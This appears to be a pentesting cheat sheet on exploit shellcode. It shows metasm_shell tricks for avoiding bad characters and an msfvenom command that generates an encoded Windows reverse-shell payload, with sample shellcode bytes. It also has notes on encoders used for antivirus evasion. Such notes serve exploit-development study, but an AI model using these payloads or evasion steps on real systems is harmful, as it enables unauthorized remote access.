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Avoiding bad chars

You can use metasm_shell to detect bad chars in your shellcode :

$ /opt/metasploit/tools/exploit/metasm_shell.rb
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file

metasm >

Basic examples

Substitute 1000 from a register :

metasm > sub esp,1000

metasm > add esp,-1000

Set a register to 0 :

metasm > mov eax,0

metasm > xor eax,eax

Set a register to 1 :

metasm > mov eax,1

metasm > xor eax,eax
metasm > inc eax


Generates shellcode with msfvenom.

  • List encoders : msfvenom -l encoders
  • List payloads : msfvenom -l payloads
  • List formats : msfvenom -l formats

Basic example

$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -f python -b '\x00\x0a\x0d' -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xdd\xc6\xd9\x74\x24\xf4\xbd\x25\xb1\xf0\x63"
shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x6a\x17\x03\x6a\x17"
shellcode += b"\x83\xcf\x4d\x12\x96\xf3\x46\x51\x59\x0b\x97"
shellcode += b"\x36\xd3\xee\xa6\x76\x87\x7b\x98\x46\xc3\x29"
  • -a : Architecture (ex: x86).
  • -p : Payload (ex: windows/shell_reverse_tcp, linux/x86/meterpreter/reverse_tcp).
  • -f : Output format (ex: python, c, raw).
  • -b : Badchars (ex: \x00 null byte, \x0a line feed, \x0d carriage return).
  • -v : Variable name (ex: buf, shellcode)
  • EXITFUNC : Use thread to avoid crashing the target application.

AV Evasion

  • -e <encoder> : Specify an encoder (ex: 86/shikata_ga_nai).
  • -i <int> : Number of encoding iterations.

The downside of adding more iterations is that the shellcode size increases every iteration.

Limits size

  • -s <int> : Maximum size of the shellcode (in bytes)